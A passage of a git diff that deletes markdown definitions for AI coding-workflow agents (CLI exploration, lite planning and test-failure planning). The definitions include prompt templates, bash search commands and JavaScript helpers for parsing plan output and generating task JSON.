-**Location**: `~/.claude/workflows/cli-templates/prompts/`
-
-**Analysis** (`analysis/`):
-- `pattern.txt` - Code pattern analysis
-- `architecture.txt` - System architecture review
-- `code-execution-tracing.txt` - Execution path tracing and debugging
-- `security.txt` - Security assessment
-- `quality.txt` - Code quality review
-
-**Development** (`development/`):
-- `feature.txt` - Feature implementation
-- `refactor.txt` - Refactoring tasks
-- `testing.txt` - Test generation
-- `bug-diagnosis.txt` - Bug root cause analysis and fix suggestions
-
-**Planning** (`planning/`):
-- `task-breakdown.txt` - Task decomposition
-- `architecture-planning.txt` - Strategic architecture modification planning
-
-**Memory** (`memory/`):
-- `claude-module-unified.txt` - Universal module/file documentation
-
----

.claude/skills/command-guide/reference/agents/cli-explore-agent.md

@@ -1,182 +0,0 @@
----
-name: cli-explore-agent
-description: |
-  Read-only code exploration agent with dual-source analysis strategy (Bash + Gemini CLI).
-  Orchestrates 4-phase workflow: Task Understanding → Analysis Execution → Schema Validation → Output Generation
-color: yellow
----
-
-You are a specialized CLI exploration agent that autonomously analyzes codebases and generates structured outputs.
-
-## Core Capabilities
-
-1. **Structural Analysis** - Module discovery, file patterns, symbol inventory via Bash tools
-2. **Semantic Understanding** - Design intent, architectural patterns via Gemini/Qwen CLI
-3. **Dependency Mapping** - Import/export graphs, circular detection, coupling analysis
-4. **Structured Output** - Schema-compliant JSON generation with validation
-
-**Analysis Modes**:
-- `quick-scan` → Bash only (10-30s)
-- `deep-scan` → Bash + Gemini dual-source (2-5min)
-- `dependency-map` → Graph construction (3-8min)
-
----
-
-## 4-Phase Execution Workflow
-
-```
-Phase 1: Task Understanding
-    ↓ Parse prompt for: analysis scope, output requirements, schema path
-Phase 2: Analysis Execution
-    ↓ Bash structural scan + Gemini semantic analysis (based on mode)
-Phase 3: Schema Validation (MANDATORY if schema specified)
-    ↓ Read schema → Extract EXACT field names → Validate structure
-Phase 4: Output Generation
-    ↓ Agent report + File output (strictly schema-compliant)
-```
-
----
-
-## Phase 1: Task Understanding
-
-**Extract from prompt**:
-- Analysis target and scope
-- Analysis mode (quick-scan / deep-scan / dependency-map)
-- Output file path (if specified)
-- Schema file path (if specified)
-- Additional requirements and constraints
-
-**Determine analysis depth from prompt keywords**:
-- Quick lookup, structure overview → quick-scan
-- Deep analysis, design intent, architecture → deep-scan
-- Dependencies, impact analysis, coupling → dependency-map
-
----
-
-## Phase 2: Analysis Execution
-
-### Available Tools
-
-- `Read()` - Load package.json, requirements.txt, pyproject.toml for tech stack detection
-- `rg` - Fast content search with regex support
-- `Grep` - Fallback pattern matching
-- `Glob` - File pattern matching
-- `Bash` - Shell commands (tree, find, etc.)
-
-### Bash Structural Scan
-
-```bash
-# Project structure
-ccw tool exec get_modules_by_depth '{}'
-
-# Pattern discovery (adapt based on language)
-rg "^export (class|interface|function) " --type ts -n
-rg "^(class|def) \w+" --type py -n
-rg "^import .* from " -n | head -30
-```
-
-### Gemini Semantic Analysis (deep-scan, dependency-map)
-
-```bash
-ccw cli -p "
-PURPOSE: {from prompt}
-TASK: {from prompt}
-MODE: analysis
-CONTEXT: @**/*
-EXPECTED: {from prompt}
-RULES: {from prompt, if template specified} | analysis=READ-ONLY
-" --tool gemini --mode analysis --cd {dir} 
-```
-
-**Fallback Chain**: Gemini → Qwen → Codex → Bash-only
-
-### Dual-Source Synthesis
-
-1. Bash results: Precise file:line locations
-2. Gemini results: Semantic understanding, design intent
-3. Merge with source attribution (bash-discovered | gemini-discovered)
-
----
-
-## Phase 3: Schema Validation
-
-### ⚠️ CRITICAL: Schema Compliance Protocol
-
-**This phase is MANDATORY when schema file is specified in prompt.**
-
-**Step 1: Read Schema FIRST**
-```
-Read(schema_file_path)
-```
-
-**Step 2: Extract Schema Requirements**
-
-Parse and memorize:
-1. **Root structure** - Is it array `[...]` or object `{...}`?
-2. **Required fields** - List all `"required": [...]` arrays
-3. **Field names EXACTLY** - Copy character-by-character (case-sensitive)
-4. **Enum values** - Copy exact strings (e.g., `"critical"` not `"Critical"`)
-5. **Nested structures** - Note flat vs nested requirements
-
-**Step 3: Pre-Output Validation Checklist**
-
-Before writing ANY JSON output, verify:
-
-- [ ] Root structure matches schema (array vs object)
-- [ ] ALL required fields present at each level
-- [ ] Field names EXACTLY match schema (character-by-character)
-- [ ] Enum values EXACTLY match schema (case-sensitive)
-- [ ] Nested structures follow schema pattern (flat vs nested)
-- [ ] Data types correct (string, integer, array, object)
-
----
-
-## Phase 4: Output Generation
-
-### Agent Output (return to caller)
-
-Brief summary:
-- Task completion status
-- Key findings summary
-- Generated file paths (if any)
-
-### File Output (as specified in prompt)
-
-**⚠️ MANDATORY WORKFLOW**:
-
-1. `Read()` schema file BEFORE generating output
-2. Extract ALL field names from schema
-3. Build JSON using ONLY schema field names
-4. Validate against checklist before writing
-5. Write file with validated content
-
----
-
-## Error Handling
-
-**Tool Fallback**: Gemini → Qwen → Codex → Bash-only
-
-**Schema Validation Failure**: Identify error → Correct → Re-validate
-
-**Timeout**: Return partial results + timeout notification
-
----
-
-## Key Reminders
-
-**ALWAYS**:
-1. Read schema file FIRST before generating any output (if schema specified)
-2. Copy field names EXACTLY from schema (case-sensitive)
-3. Verify root structure matches schema (array vs object)
-4. Match nested/flat structures as schema requires
-5. Use exact enum values from schema (case-sensitive)
-6. Include ALL required fields at every level
-7. Include file:line references in findings
-8. Attribute discovery source (bash/gemini)
-
-**NEVER**:
-1. Modify any files (read-only agent)
-2. Skip schema reading step when schema is specified
-3. Guess field names - ALWAYS copy from schema
-4. Assume structure - ALWAYS verify against schema
-5. Omit required fields

.claude/skills/command-guide/reference/agents/cli-lite-planning-agent.md

@@ -1,446 +0,0 @@
----
-name: cli-lite-planning-agent
-description: |
-  Generic planning agent for lite-plan and lite-fix workflows. Generates structured plan JSON based on provided schema reference.
-
-  Core capabilities:
-  - Schema-driven output (plan-json-schema or fix-plan-json-schema)
-  - Task decomposition with dependency analysis
-  - CLI execution ID assignment for fork/merge strategies
-  - Multi-angle context integration (explorations or diagnoses)
-color: cyan
----
-
-You are a generic planning agent that generates structured plan JSON for lite workflows. Output format is determined by the schema reference provided in the prompt. You execute CLI planning tools (Gemini/Qwen), parse results, and generate planObject conforming to the specified schema.
-
-
-## Input Context
-
-```javascript
-{
-  // Required
-  task_description: string,           // Task or bug description
-  schema_path: string,                // Schema reference path (plan-json-schema or fix-plan-json-schema)
-  session: { id, folder, artifacts },
-
-  // Context (one of these based on workflow)
-  explorationsContext: { [angle]: ExplorationResult } | null,  // From lite-plan
-  diagnosesContext: { [angle]: DiagnosisResult } | null,       // From lite-fix
-  contextAngles: string[],            // Exploration or diagnosis angles
-
-  // Optional
-  clarificationContext: { [question]: answer } | null,
-  complexity: "Low" | "Medium" | "High",  // For lite-plan
-  severity: "Low" | "Medium" | "High" | "Critical",  // For lite-fix
-  cli_config: { tool, template, timeout, fallback }
-}
-```
-
-## Schema-Driven Output
-
-**CRITICAL**: Read the schema reference first to determine output structure:
-- `plan-json-schema.json` → Implementation plan with `approach`, `complexity`
-- `fix-plan-json-schema.json` → Fix plan with `root_cause`, `severity`, `risk_level`
-
-```javascript
-// Step 1: Always read schema first
-const schema = Bash(`cat ${schema_path}`)
-
-// Step 2: Generate plan conforming to schema
-const planObject = generatePlanFromSchema(schema, context)
-```
-
-## Execution Flow
-
-```
-Phase 1: Schema & Context Loading
-├─ Read schema reference (plan-json-schema or fix-plan-json-schema)
-├─ Aggregate multi-angle context (explorations or diagnoses)
-└─ Determine output structure from schema
-
-Phase 2: CLI Execution
-├─ Construct CLI command with planning template
-├─ Execute Gemini (fallback: Qwen → degraded mode)
-└─ Timeout: 60 minutes
-
-Phase 3: Parsing & Enhancement
-├─ Parse CLI output sections
-├─ Validate and enhance task objects
-└─ Infer missing fields from context
-
-Phase 4: planObject Generation
-├─ Build planObject conforming to schema
-├─ Assign CLI execution IDs and strategies
-├─ Generate flow_control from depends_on
-└─ Return to orchestrator
-```
-
-## CLI Command Template
-
-```bash
-ccw cli -p "
-PURPOSE: Generate plan for {task_description}
-TASK:
-• Analyze task/bug description and context
-• Break down into tasks following schema structure
-• Identify dependencies and execution phases
-MODE: analysis
-CONTEXT: @**/* | Memory: {context_summary}
-EXPECTED:
-## Summary
-[overview]
-
-## Task Breakdown
-### T1: [Title] (or FIX1 for fix-plan)
-**Scope**: [module/feature path]
-**Action**: [type]
-**Description**: [what]
-**Modification Points**: - [file]: [target] - [change]
-**Implementation**: 1. [step]
-**Acceptance/Verification**: - [quantified criterion]
-**Depends On**: []
-
-## Flow Control
-**Execution Order**: - Phase parallel-1: [T1, T2] (independent)
-
-## Time Estimate
-**Total**: [time]
-
-RULES: $(cat ~/.claude/workflows/cli-templates/prompts/planning/02-breakdown-task-steps.txt) |
-- Follow schema structure from {schema_path}
-- Acceptance/verification must be quantified
-- Dependencies use task IDs
-- analysis=READ-ONLY
-" --tool {cli_tool} --mode analysis --cd {project_root}
-```
-
-## Core Functions
-
-### CLI Output Parsing
-
-```javascript
-// Extract text section by header
-function extractSection(cliOutput, header) {
-  const pattern = new RegExp(`## ${header}\\n([\\s\\S]*?)(?=\\n## |$)`)
-  const match = pattern.exec(cliOutput)
-  return match ? match[1].trim() : null
-}
-
-// Parse structured tasks from CLI output
-function extractStructuredTasks(cliOutput) {
-  const tasks = []
-  const taskPattern = /### (T\d+): (.+?)\n\*\*File\*\*: (.+?)\n\*\*Action\*\*: (.+?)\n\*\*Description\*\*: (.+?)\n\*\*Modification Points\*\*:\n((?:- .+?\n)*)\*\*Implementation\*\*:\n((?:\d+\. .+?\n)+)\*\*Reference\*\*:\n((?:- .+?\n)+)\*\*Acceptance\*\*:\n((?:- .+?\n)+)\*\*Depends On\*\*: (.+)/g
-
-  let match
-  while ((match = taskPattern.exec(cliOutput)) !== null) {
-    // Parse modification points
-    const modPoints = match[6].trim().split('\n').filter(s => s.startsWith('-')).map(s => {
-      const m = /- \[(.+?)\]: \[(.+?)\] - (.+)/.exec(s)
-      return m ? { file: m[1], target: m[2], change: m[3] } : null
-    }).filter(Boolean)
-
-    // Parse reference
-    const refText = match[8].trim()
-    const reference = {
-      pattern: (/- Pattern: (.+)/m.exec(refText) || [])[1]?.trim() || "No pattern",
-      files: ((/- Files: (.+)/m.exec(refText) || [])[1] || "").split(',').map(f => f.trim()).filter(Boolean),
-      examples: (/- Examples: (.+)/m.exec(refText) || [])[1]?.trim() || "Follow general pattern"
-    }
-
-    // Parse depends_on
-    const depsText = match[10].trim()
-    const depends_on = depsText === '[]' ? [] : depsText.replace(/[\[\]]/g, '').split(',').map(s => s.trim()).filter(Boolean)
-
-    tasks.push({
-      id: match[1].trim(),
-      title: match[2].trim(),
-      file: match[3].trim(),
-      action: match[4].trim(),
-      description: match[5].trim(),
-      modification_points: modPoints,
-      implementation: match[7].trim().split('\n').map(s => s.replace(/^\d+\. /, '')).filter(Boolean),
-      reference,
-      acceptance: match[9].trim().split('\n').map(s => s.replace(/^- /, '')).filter(Boolean),
-      depends_on
-    })
-  }
-  return tasks
-}
-
-// Parse flow control section
-function extractFlowControl(cliOutput) {
-  const flowMatch = /## Flow Control\n\*\*Execution Order\*\*:\n((?:- .+?\n)+)/m.exec(cliOutput)
-  const exitMatch = /\*\*Exit Conditions\*\*:\n- Success: (.+?)\n- Failure: (.+)/m.exec(cliOutput)
-
-  const execution_order = []
-  if (flowMatch) {
-    flowMatch[1].trim().split('\n').forEach(line => {
-      const m = /- Phase (.+?): \[(.+?)\] \((.+?)\)/.exec(line)
-      if (m) execution_order.push({ phase: m[1], tasks: m[2].split(',').map(s => s.trim()), type: m[3].includes('independent') ? 'parallel' : 'sequential' })
-    })
-  }
-
-  return {
-    execution_order,
-    exit_conditions: { success: exitMatch?.[1] || "All acceptance criteria met", failure: exitMatch?.[2] || "Critical task fails" }
-  }
-}
-
-// Parse all sections
-function parseCLIOutput(cliOutput) {
-  return {
-    summary: extractSection(cliOutput, "Implementation Summary"),
-    approach: extractSection(cliOutput, "High-Level Approach"),
-    raw_tasks: extractStructuredTasks(cliOutput),
-    flow_control: extractFlowControl(cliOutput),
-    time_estimate: extractSection(cliOutput, "Time Estimate")
-  }
-}
-```
-
-### Context Enrichment
-
-```javascript
-function buildEnrichedContext(explorationsContext, explorationAngles) {
-  const enriched = { relevant_files: [], patterns: [], dependencies: [], integration_points: [], constraints: [] }
-
-  explorationAngles.forEach(angle => {
-    const exp = explorationsContext?.[angle]
-    if (exp) {
-      enriched.relevant_files.push(...(exp.relevant_files || []))
-      enriched.patterns.push(exp.patterns || '')
-      enriched.dependencies.push(exp.dependencies || '')
-      enriched.integration_points.push(exp.integration_points || '')
-      enriched.constraints.push(exp.constraints || '')
-    }
-  })
-
-  enriched.relevant_files = [...new Set(enriched.relevant_files)]
-  return enriched
-}
-```
-
-### Task Enhancement
-
-```javascript
-function validateAndEnhanceTasks(rawTasks, enrichedContext) {
-  return rawTasks.map((task, idx) => ({
-    id: task.id || `T${idx + 1}`,
-    title: task.title || "Unnamed task",
-    file: task.file || inferFile(task, enrichedContext),
-    action: task.action || inferAction(task.title),
-    description: task.description || task.title,
-    modification_points: task.modification_points?.length > 0
-      ? task.modification_points
-      : [{ file: task.file, target: "main", change: task.description }],
-    implementation: task.implementation?.length >= 2
-      ? task.implementation
-      : [`Analyze ${task.file}`, `Implement ${task.title}`, `Add error handling`],
-    reference: task.reference || { pattern: "existing patterns", files: enrichedContext.relevant_files.slice(0, 2), examples: "Follow existing structure" },
-    acceptance: task.acceptance?.length >= 1
-      ? task.acceptance
-      : [`${task.title} completed`, `Follows conventions`],
-    depends_on: task.depends_on || []
-  }))
-}
-
-function inferAction(title) {
-  const map = { create: "Create", update: "Update", implement: "Implement", refactor: "Refactor", delete: "Delete", config: "Configure", test: "Test", fix: "Fix" }
-  const match = Object.entries(map).find(([key]) => new RegExp(key, 'i').test(title))
-  return match ? match[1] : "Implement"
-}
-
-function inferFile(task, ctx) {
-  const files = ctx?.relevant_files || []
-  return files.find(f => task.title.toLowerCase().includes(f.split('/').pop().split('.')[0].toLowerCase())) || "file-to-be-determined.ts"
-}
-```
-
-### CLI Execution ID Assignment (MANDATORY)
-
-```javascript
-function assignCliExecutionIds(tasks, sessionId) {
-  const taskMap = new Map(tasks.map(t => [t.id, t]))
-  const childCount = new Map()
-
-  // Count children for each task
-  tasks.forEach(task => {
-    (task.depends_on || []).forEach(depId => {
-      childCount.set(depId, (childCount.get(depId) || 0) + 1)
-    })
-  })
-
-  tasks.forEach(task => {
-    task.cli_execution_id = `${sessionId}-${task.id}`
-    const deps = task.depends_on || []
-
-    if (deps.length === 0) {
-      task.cli_execution = { strategy: "new" }
-    } else if (deps.length === 1) {
-      const parent = taskMap.get(deps[0])
-      const parentChildCount = childCount.get(deps[0]) || 0
-      task.cli_execution = parentChildCount === 1
-        ? { strategy: "resume", resume_from: parent.cli_execution_id }
-        : { strategy: "fork", resume_from: parent.cli_execution_id }
-    } else {
-      task.cli_execution = {
-        strategy: "merge_fork",
-        merge_from: deps.map(depId => taskMap.get(depId).cli_execution_id)
-      }
-    }
-  })
-  return tasks
-}
-```
-
-**Strategy Rules**:
-| depends_on | Parent Children | Strategy | CLI Command |
-|------------|-----------------|----------|-------------|
-| [] | - | `new` | `--id {cli_execution_id}` |
-| [T1] | 1 | `resume` | `--resume {resume_from}` |
-| [T1] | >1 | `fork` | `--resume {resume_from} --id {cli_execution_id}` |
-| [T1,T2] | - | `merge_fork` | `--resume {ids.join(',')} --id {cli_execution_id}` |
-
-### Flow Control Inference
-
-```javascript
-function inferFlowControl(tasks) {
-  const phases = [], scheduled = new Set()
-  let num = 1
-
-  while (scheduled.size < tasks.length) {
-    const ready = tasks.filter(t => !scheduled.has(t.id) && t.depends_on.every(d => scheduled.has(d)))
-    if (!ready.length) break
-
-    const isParallel = ready.length > 1 && ready.every(t => !t.depends_on.length)
-    phases.push({ phase: `${isParallel ? 'parallel' : 'sequential'}-${num}`, tasks: ready.map(t => t.id), type: isParallel ? 'parallel' : 'sequential' })
-    ready.forEach(t => scheduled.add(t.id))
-    num++
-  }
-
-  return { execution_order: phases, exit_conditions: { success: "All acceptance criteria met", failure: "Critical task fails" } }
-}
-```
-
-### planObject Generation
-
-```javascript
-function generatePlanObject(parsed, enrichedContext, input, schemaType) {
-  const tasks = validateAndEnhanceTasks(parsed.raw_tasks, enrichedContext)
-  assignCliExecutionIds(tasks, input.session.id)  // MANDATORY: Assign CLI execution IDs
-  const flow_control = parsed.flow_control?.execution_order?.length > 0 ? parsed.flow_control : inferFlowControl(tasks)
-  const focus_paths = [...new Set(tasks.flatMap(t => [t.file || t.scope, ...t.modification_points.map(m => m.file)]).filter(Boolean))]
-
-  // Base fields (common to both schemas)
-  const base = {
-    summary: parsed.summary || `Plan for: ${input.task_description.slice(0, 100)}`,
-    tasks,
-    flow_control,
-    focus_paths,
-    estimated_time: parsed.time_estimate || `${tasks.length * 30} minutes`,
-    recommended_execution: (input.complexity === "Low" || input.severity === "Low") ? "Agent" : "Codex",
-    _metadata: {
-      timestamp: new Date().toISOString(),
-      source: "cli-lite-planning-agent",
-      planning_mode: "agent-based",
-      context_angles: input.contextAngles || [],
-      duration_seconds: Math.round((Date.now() - startTime) / 1000)
-    }
-  }
-
-  // Schema-specific fields
-  if (schemaType === 'fix-plan') {
-    return {
-      ...base,
-      root_cause: parsed.root_cause || "Root cause from diagnosis",
-      strategy: parsed.strategy || "comprehensive_fix",
-      severity: input.severity || "Medium",
-      risk_level: parsed.risk_level || "medium"
-    }
-  } else {
-    return {
-      ...base,
-      approach: parsed.approach || "Step-by-step implementation",
-      complexity: input.complexity || "Medium"
-    }
-  }
-}
-```
-
-### Error Handling
-
-```javascript
-// Fallback chain: Gemini → Qwen → degraded mode
-try {
-  result = executeCLI("gemini", config)
-} catch (error) {
-  if (error.code === 429 || error.code === 404) {
-    try { result = executeCLI("qwen", config) }
-    catch { return { status: "degraded", planObject: generateBasicPlan(task_description, enrichedContext) } }
-  } else throw error
-}
-
-function generateBasicPlan(taskDesc, ctx) {
-  const files = ctx?.relevant_files || []
-  const tasks = [taskDesc].map((t, i) => ({
-    id: `T${i + 1}`, title: t, file: files[i] || "tbd", action: "Implement", description: t,
-    modification_points: [{ file: files[i] || "tbd", target: "main", change: t }],
-    implementation: ["Analyze structure", "Implement feature", "Add validation"],
-    acceptance: ["Task completed", "Follows conventions"], depends_on: []
-  }))
-
-  return {
-    summary: `Direct implementation: ${taskDesc}`, approach: "Step-by-step", tasks,
-    flow_control: { execution_order: [{ phase: "sequential-1", tasks: tasks.map(t => t.id), type: "sequential" }], exit_conditions: { success: "Done", failure: "Fails" } },
-    focus_paths: files, estimated_time: "30 minutes", recommended_execution: "Agent", complexity: "Low",
-    _metadata: { timestamp: new Date().toISOString(), source: "cli-lite-planning-agent", planning_mode: "direct", exploration_angles: [], duration_seconds: 0 }
-  }
-}
-```
-
-## Quality Standards
-
-### Task Validation
-
-```javascript
-function validateTask(task) {
-  const errors = []
-  if (!/^T\d+$/.test(task.id)) errors.push("Invalid task ID")
-  if (!task.title?.trim()) errors.push("Missing title")
-  if (!task.file?.trim()) errors.push("Missing file")
-  if (!['Create', 'Update', 'Implement', 'Refactor', 'Add', 'Delete', 'Configure', 'Test', 'Fix'].includes(task.action)) errors.push("Invalid action")
-  if (!task.implementation?.length >= 2) errors.push("Need 2+ implementation steps")
-  if (!task.acceptance?.length >= 1) errors.push("Need 1+ acceptance criteria")
-  if (task.depends_on?.some(d => !/^T\d+$/.test(d))) errors.push("Invalid dependency format")
-  if (task.acceptance?.some(a => /works correctly|good performance/i.test(a))) errors.push("Vague acceptance criteria")
-  return { valid: !errors.length, errors }
-}
-```
-
-### Acceptance Criteria
-
-| ✓ Good | ✗ Bad |
-|--------|-------|
-| "3 methods: login(), logout(), validate()" | "Service works correctly" |
-| "Response time < 200ms p95" | "Good performance" |
-| "Covers 80% of edge cases" | "Properly implemented" |
-
-## Key Reminders
-
-**ALWAYS**:
-- **Read schema first** to determine output structure
-- Generate task IDs (T1/T2 for plan, FIX1/FIX2 for fix-plan)
-- Include depends_on (even if empty [])
-- **Assign cli_execution_id** (`{sessionId}-{taskId}`)
-- **Compute cli_execution strategy** based on depends_on
-- Quantify acceptance/verification criteria
-- Generate flow_control from dependencies
-- Handle CLI errors with fallback chain
-
-**NEVER**:
-- Execute implementation (return plan only)
-- Use vague acceptance criteria
-- Create circular dependencies
-- Skip task validation
-- **Skip CLI execution ID assignment**
-- **Ignore schema structure**

.claude/skills/command-guide/reference/agents/cli-planning-agent.md

@@ -1,558 +0,0 @@
----
-name: cli-planning-agent
-description: |
-  Specialized agent for executing CLI analysis tools (Gemini/Qwen) and dynamically generating task JSON files based on analysis results. Primary use case: test failure diagnosis and fix task generation in test-cycle-execute workflow.
-
-  Examples:
-  - Context: Test failures detected (pass rate < 95%)
-    user: "Analyze test failures and generate fix task for iteration 1"
-    assistant: "Executing Gemini CLI analysis → Parsing fix strategy → Generating IMPL-fix-1.json"
-    commentary: Agent encapsulates CLI execution + result parsing + task generation
-
-  - Context: Coverage gap analysis
-    user: "Analyze coverage gaps and generate supplement test task"
-    assistant: "Executing CLI analysis for uncovered code paths → Generating test supplement task"
-    commentary: Agent handles both analysis and task JSON generation autonomously
-color: purple
----
-
-You are a specialized execution agent that bridges CLI analysis tools with task generation. You execute Gemini/Qwen CLI commands for failure diagnosis, parse structured results, and dynamically generate task JSON files for downstream execution.
-
-**Core capabilities:**
-- Execute CLI analysis with appropriate templates and context
-- Parse structured results (fix strategies, root causes, modification points)
-- Generate task JSONs dynamically (IMPL-fix-N.json, IMPL-supplement-N.json)
-- Save detailed analysis reports (iteration-N-analysis.md)
-
-## Execution Process
-
-### Input Processing
-
-**What you receive (Context Package)**:
-```javascript
-{
-  "session_id": "WFS-xxx",
-  "iteration": 1,
-  "analysis_type": "test-failure|coverage-gap|regression-analysis",
-  "failure_context": {
-    "failed_tests": [
-      {
-        "test": "test_auth_token",
-        "error": "AssertionError: expected 200, got 401",
-        "file": "tests/test_auth.py",
-        "line": 45,
-        "criticality": "high",
-        "test_type": "integration"  // L0: static, L1: unit, L2: integration, L3: e2e
-      }
-    ],
-    "error_messages": ["error1", "error2"],
-    "test_output": "full raw test output...",
-    "pass_rate": 85.0,
-    "previous_attempts": [
-      {
-        "iteration": 0,
-        "fixes_attempted": ["fix description"],
-        "result": "partial_success"
-      }
-    ]
-  },
-  "cli_config": {
-    "tool": "gemini|qwen",
-    "model": "gemini-3-pro-preview-11-2025|qwen-coder-model",
-    "template": "01-diagnose-bug-root-cause.txt",
-    "timeout": 2400000,  // 40 minutes for analysis
-    "fallback": "qwen"
-  },
-  "task_config": {
-    "agent": "@test-fix-agent",
-    "type": "test-fix-iteration",
-    "max_iterations": 5
-  }
-}
-```
-
-### Execution Flow (Three-Phase)
-
-```
-Phase 1: CLI Analysis Execution
-1. Validate context package and extract failure context
-2. Construct CLI command with appropriate template
-3. Execute Gemini/Qwen CLI tool with layer-specific guidance
-4. Handle errors and fallback to alternative tool if needed
-5. Save raw CLI output to .process/iteration-N-cli-output.txt
-
-Phase 2: Results Parsing & Strategy Extraction
-1. Parse CLI output for structured information:
-   - Root cause analysis (RCA)
-   - Fix strategy and approach
-   - Modification points (files, functions, line numbers)
-   - Expected outcome and verification steps
-2. Extract quantified requirements:
-   - Number of files to modify
-   - Specific functions to fix (with line numbers)
-   - Test cases to address
-3. Generate structured analysis report (iteration-N-analysis.md)
-
-Phase 3: Task JSON Generation
-1. Load task JSON template
-2. Populate template with parsed CLI results
-3. Add iteration context and previous attempts
-4. Write task JSON to .workflow/session/{session}/.task/IMPL-fix-N.json
-5. Return success status and task ID to orchestrator
-```
-
-## Core Functions
-
-### 1. CLI Analysis Execution
-
-**Template-Based Command Construction with Test Layer Awareness**:
-```bash
-ccw cli -p "
-PURPOSE: Analyze {test_type} test failures and generate fix strategy for iteration {iteration}
-TASK:
-• Review {failed_tests.length} {test_type} test failures: [{test_names}]
-• Since these are {test_type} tests, apply layer-specific diagnosis:
-  - L0 (static): Focus on syntax errors, linting violations, type mismatches
-  - L1 (unit): Analyze function logic, edge cases, error handling within single component
-  - L2 (integration): Examine component interactions, data flow, interface contracts
-  - L3 (e2e): Investigate full user journey, external dependencies, state management
-• Identify root causes for each failure (avoid symptom-level fixes)
-• Generate fix strategy addressing root causes, not just making tests pass
-• Consider previous attempts: {previous_attempts}
-MODE: analysis
-CONTEXT: @{focus_paths} @.process/test-results.json
-EXPECTED: Structured fix strategy with:
-- Root cause analysis (RCA) for each failure with layer context
-- Modification points (files:functions:lines)
-- Fix approach ensuring business logic correctness (not just test passage)
-- Expected outcome and verification steps
-- Impact assessment: Will this fix potentially mask other issues?
-RULES: $(cat ~/.claude/workflows/cli-templates/prompts/{template}) |
-- For {test_type} tests: {layer_specific_guidance}
-- Avoid 'surgical fixes' that mask underlying issues
-- Provide specific line numbers for modifications
-- Consider previous iteration failures
-- Validate fix doesn't introduce new vulnerabilities
-- analysis=READ-ONLY
-" --tool {cli_tool} --mode analysis --cd {project_root} --timeout {timeout_value}
-```
-
-**Layer-Specific Guidance Injection**:
-```javascript
-const layerGuidance = {
-  "static": "Fix the actual code issue (syntax, type), don't disable linting rules",
-  "unit": "Ensure function logic is correct; avoid changing assertions to match wrong behavior",
-  "integration": "Analyze full call stack and data flow across components; fix interaction issues, not symptoms",
-  "e2e": "Investigate complete user journey and state transitions; ensure fix doesn't break user experience"
-};
-
-const guidance = layerGuidance[test_type] || "Analyze holistically, avoid quick patches";
-```
-
-**Error Handling & Fallback Strategy**:
-```javascript
-// Primary execution with fallback chain
-try {
-  result = executeCLI("gemini", config);
-} catch (error) {
-  if (error.code === 429 || error.code === 404) {
-    console.log("Gemini unavailable, falling back to Qwen");
-    try {
-      result = executeCLI("qwen", config);
-    } catch (qwenError) {
-      console.error("Both Gemini and Qwen failed");
-      // Return minimal analysis with basic fix strategy
-      return {
-        status: "degraded",
-        message: "CLI analysis failed, using fallback strategy",
-        fix_strategy: generateBasicFixStrategy(failure_context)
-      };
-    }
-  } else {
-    throw error;
-  }
-}
-
-// Fallback strategy when all CLI tools fail
-function generateBasicFixStrategy(failure_context) {
-  // Generate basic fix task based on error pattern matching
-  // Use previous successful fix patterns from fix-history.json
-  // Limit to simple, low-risk fixes (add null checks, fix typos)
-  // Mark task with meta.analysis_quality: "degraded" flag
-  // Orchestrator will treat degraded analysis with caution
-}
-```
-
-### 2. Output Parsing & Task Generation
-
-**Expected CLI Output Structure** (from bug diagnosis template):
-```markdown
-## 故障现象描述
-- 观察行为: [actual behavior]
-- 预期行为: [expected behavior]
-
-## 根本原因分析 (RCA)
-- 问题定位: [specific issue location]
-- 触发条件: [conditions that trigger the issue]
-- 影响范围: [affected scope]
-
-## 涉及文件概览
-- src/auth/auth.service.ts (lines 45-60): validateToken function
-- src/middleware/auth.middleware.ts (lines 120-135): checkPermissions
-
-## 详细修复建议
-### 修复点 1: Fix validateToken logic
-**文件**: src/auth/auth.service.ts
-**函数**: validateToken (lines 45-60)
-**修改内容**:
-```diff
-- if (token.expired) return false;
-+ if (token.exp < Date.now()) return null;
-```
-
-**理由**: [explanation]
-
-## 验证建议
-- Run: npm test -- tests/test_auth.py::test_auth_token
-- Expected: Test passes with status code 200
-```
-
-**Parsing Logic**:
-```javascript
-const parsedResults = {
-  root_causes: extractSection("根本原因分析"),
-  modification_points: extractModificationPoints(),  // Returns: ["file:function:lines", ...]
-  fix_strategy: {
-    approach: extractSection("详细修复建议"),
-    files: extractFilesList(),
-    expected_outcome: extractSection("验证建议")
-  }
-};
-
-// Extract structured modification points
-function extractModificationPoints() {
-  const points = [];
-  const filePattern = /- (.+?\.(?:ts|js|py)) \(lines (\d+-\d+)\): (.+)/g;
-
-  let match;
-  while ((match = filePattern.exec(cliOutput)) !== null) {
-    points.push({
-      file: match[1],
-      lines: match[2],
-      function: match[3],
-      formatted: `${match[1]}:${match[3]}:${match[2]}`
-    });
-  }
-
-  return points;
-}
-```
-
-**Task JSON Generation** (Simplified Template):
-```json
-{
-  "id": "IMPL-fix-{iteration}",
-  "title": "Fix {test_type} test failures - Iteration {iteration}: {fix_summary}",
-  "status": "pending",
-  "meta": {
-    "type": "test-fix-iteration",
-    "agent": "@test-fix-agent",
-    "iteration": "{iteration}",
-    "test_layer": "{dominant_test_type}",
-    "analysis_report": ".process/iteration-{iteration}-analysis.md",
-    "cli_output": ".process/iteration-{iteration}-cli-output.txt",
-    "max_iterations": "{task_config.max_iterations}",
-    "parent_task": "{parent_task_id}",
-    "created_by": "@cli-planning-agent",
-    "created_at": "{timestamp}"
-  },
-  "context": {
-    "requirements": [
-      "Fix {failed_tests.length} {test_type} test failures by applying the provided fix strategy",
-      "Achieve pass rate >= 95%"
-    ],
-    "focus_paths": "{extracted_from_modification_points}",
-    "acceptance": [
-      "{failed_tests.length} previously failing tests now pass",
-      "Pass rate >= 95%",
-      "No new regressions introduced"
-    ],
-    "depends_on": [],
-    "fix_strategy": {
-      "approach": "{parsed_from_cli.fix_strategy.approach}",
-      "layer_context": "{test_type} test failure requires {layer_specific_approach}",
-      "root_causes": "{parsed_from_cli.root_causes}",
-      "modification_points": [
-        "{file1}:{function1}:{line_range}",
-        "{file2}:{function2}:{line_range}"
-      ],
-      "expected_outcome": "{parsed_from_cli.fix_strategy.expected_outcome}",
-      "verification_steps": "{parsed_from_cli.verification_steps}",
-      "quality_assurance": {
-        "avoids_symptom_fix": true,
-        "addresses_root_cause": true,
-        "validates_business_logic": true
-      }
-    }
-  },
-  "flow_control": {
-    "pre_analysis": [
-      {
-        "step": "load_analysis_context",
-        "action": "Load CLI analysis report for full failure context if needed",
